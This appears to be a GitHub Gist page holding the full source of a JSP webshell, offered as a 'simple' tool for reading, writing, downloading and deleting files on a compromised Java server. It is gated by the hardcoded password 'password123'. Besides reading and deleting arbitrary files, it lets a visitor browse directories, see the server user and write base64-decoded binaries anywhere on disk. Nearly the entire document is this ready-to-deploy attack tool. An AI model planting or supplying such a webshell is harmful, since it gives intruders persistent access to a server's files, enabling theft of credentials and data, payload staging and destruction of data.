Last active
August 2, 2025 12:29
-
-
Save Guilhem7/da007cbbff1c9cbf7fdbaea6c8733be8 to your computer and use it in GitHub Desktop.
Simple jsp webshell code to use CRUD operations on file (compatible windows and linux, no command exec)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <%@ page language="java" pageEncoding="UTF-8"%> | |
| <%@page import="java.util.*"%> | |
| <%@ page import="java.io.*" %> | |
| <%@ page import="java.net.*" %> | |
| <%@ page import="java.util.Base64" %> | |
| <%@ page import="java.nio.file.Path" %> | |
| <%@ page import="java.nio.file.Paths" %> | |
| <% | |
| Boolean isAuth = (session.getAttribute("auth") != null) ? (Boolean) session.getAttribute("auth") : false; | |
| String action = request.getParameter("action"); | |
| String filename = request.getParameter("filename"); | |
| String content = request.getParameter("content"); | |
| String result = null; | |
| // Download and return | |
| if(isAuth && "download".equals(action) && filename != null){ | |
| File file = new File(filename); | |
| if(file.exists() && file.isFile()){ | |
| try{ | |
| String disposition = String.format("attachment; filename=\"%s\"", file.getName()); | |
| response.setContentType("application/octet-stream"); | |
| response.setHeader("Content-Disposition", disposition); | |
| response.setContentLength((int) file.length()); | |
| FileInputStream in = new FileInputStream(file); | |
| OutputStream outStream = response.getOutputStream(); | |
| int i; | |
| while ((i=in.read()) != -1) { | |
| outStream.write(i); | |
| } | |
| in.close(); | |
| return; | |
| } catch (Exception e) { | |
| result = "<p style='color:red;'>Error downloading file: " + e.getMessage() + "</p>"; | |
| } | |
| } | |
| } | |
| %> | |
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>File Manager</title> | |
| </head> | |
| <body> | |
| <style> | |
| body, html { | |
| margin: 0; | |
| padding: 0; | |
| height: 100%; | |
| font-family: sans-serif; | |
| } | |
| .file-manager { | |
| display: flex; | |
| } | |
| /* 25% width */ | |
| .file-list { | |
| width: 30%; | |
| border-right: 1px solid #ccc; | |
| padding: 16px; | |
| box-sizing: border-box; | |
| overflow-y: auto; | |
| } | |
| /* 75% width */ | |
| .file-operations { | |
| width: 70%; | |
| padding: 16px; | |
| box-sizing: border-box; | |
| overflow-y: auto; | |
| } | |
| h2 { | |
| margin-top: 0; | |
| } | |
| ul { | |
| list-style-type: none; | |
| padding: 0; | |
| } | |
| li { | |
| padding: 8px; | |
| display: flex; | |
| cursor: pointer; | |
| } | |
| li:hover { | |
| background-color: #f0f0f0; | |
| } | |
| button { | |
| padding: 6px 12px; | |
| font-size: 14px; | |
| cursor: pointer; | |
| } | |
| .right-align { | |
| margin-left: auto; | |
| } | |
| </style> | |
| <%! | |
| public String htmlEncode(String s) { | |
| if (s == null) return null; | |
| return s.replace("&", "&") | |
| .replace("<", "<") | |
| .replace(">", ">") | |
| .replace("'", "'"); | |
| } | |
| %> | |
| <% | |
| String inputPassword = request.getParameter("password"); | |
| if (!"password123".equals(inputPassword) && !isAuth) { | |
| response.setStatus(403); | |
| out.println("<h1>403 Forbidden</h1>"); | |
| return; | |
| } else { | |
| session.setAttribute("auth", true); | |
| } | |
| // Base directory for all operations (adjust as needed) | |
| String requestedDir = request.getParameter("dir"); | |
| if (requestedDir == null || requestedDir.isEmpty()) { | |
| requestedDir = System.getProperty("user.dir"); | |
| requestedDir = requestedDir.replace("\\", "/"); | |
| } else if (requestedDir != null ) { | |
| session.setAttribute("currentDir", requestedDir); | |
| } | |
| if(session.getAttribute("currentDir") == null){ | |
| session.setAttribute("currentDir", requestedDir); | |
| } | |
| String currentDirName = (String) session.getAttribute("currentDir"); | |
| File currentDir = new File(currentDirName); | |
| %> | |
| <h2>File Manager</h2> | |
| <h3>User <%= System.getProperty("user.name") %>, in <%= System.getProperty("user.dir") %></h3> | |
| <% | |
| // Write operation | |
| if ("write".equals(action) && filename != null) { | |
| File file = new File(filename); | |
| try (FileWriter fw = new FileWriter(file)) { | |
| fw.write(content != null ? content : ""); | |
| result = "<p style='color:green;'><b>File written successfully!</b></p>"; | |
| } | |
| } else if ("delete".equals(action) && filename != null) { | |
| File toDelete = new File(filename); | |
| if (toDelete.exists() && toDelete.isFile()) { | |
| boolean deleted = toDelete.delete(); | |
| result = "<p>" + (deleted ? "Deleted" : "Failed to delete") + ": " + htmlEncode(filename) + "</p>"; | |
| } else { | |
| result = "<p style='color:red;'>File not found or invalid: " + htmlEncode(filename) + "</p>"; | |
| } | |
| } else if ("writeFromB64".equals(action) && filename != null) { | |
| try { | |
| byte[] fileBytes = Base64.getDecoder().decode(content); | |
| OutputStream fw = new FileOutputStream(filename); | |
| fw.write(fileBytes); | |
| fw.close(); | |
| result = "<p style='color:green;'><b>File written successfully!</b></p>"; | |
| } catch (Exception e) { | |
| result = "<p style='color:red;'>Error: " + e.getMessage() + "</p>"; | |
| } | |
| } | |
| %> | |
| <div class="file-manager"> | |
| <div class="file-list"> | |
| <!-- List files --> | |
| <h3>Files in <%= currentDirName %>:</h3> | |
| <ul> | |
| <% | |
| if(currentDir.exists() && currentDir.isDirectory()){ | |
| Path parent = Paths.get(currentDirName).getParent(); | |
| %> | |
| <li> | |
| <a href="?dir=<%= parent != null ? parent.toString().replace("\\", "/"): "/" %>">..</a> | |
| </li> | |
| <% | |
| for (File f : currentDir.listFiles()) { | |
| String icon = f.isDirectory() ? "๐" : "๐"; | |
| if (f.isFile()) { | |
| %> | |
| <li> | |
| <span class="icon"><%= icon %></span> | |
| <a href="?action=read&filename=<%= currentDirName + "/" + f.getName() %>"><%= f.getName() %></a> | |
| <a class="right-align" href="?action=download&filename=<%= currentDirName + "/" + f.getName() %>"> | |
| <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M7 10l5 5 5-5"/><path d="M12 15V3"/></svg> | |
| </a> | |
| </li> | |
| <% | |
| } else if(f.isDirectory()) { | |
| String newDirParam = currentDirName.isEmpty() ? f.getName() : currentDirName + "/" + f.getName(); | |
| %> | |
| <li> | |
| <span class="icon"><%= icon %></span> | |
| <a href="?dir=<%= newDirParam %>"><%= f.getName() %></a> | |
| </li> | |
| <% | |
| } | |
| } | |
| } | |
| %> | |
| </ul> | |
| </div> | |
| <div class="file-operations"> | |
| <!-- Form for reading or writing files --> | |
| <form method="post" action="<%= request.getRequestURI() %>"> | |
| <label>Filename (full path): <input type="text" name="filename" value="<%= (filename != null ? filename : "") %>" /></label><br/> | |
| <label>Content:<br/> | |
| <textarea name="content" rows="30" cols="120"><%= (action != null && action.equals("read") && filename != null ? htmlEncode(new String(java.nio.file.Files.readAllBytes(new File(filename).toPath()))) : "") %></textarea> | |
| </label><br/> | |
| <button type="submit" name="action" value="write">Write File</button> | |
| <button type="submit" name="action" value="writeFromB64">Write File from base64</button> | |
| <button type="submit" name="action" value="read">Read File</button> | |
| <button type="submit" name="action" value="delete">Delete</button> | |
| </form> | |
| <% | |
| if (result != null) out.println(result); | |
| %> | |
| </div> | |
| </div> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment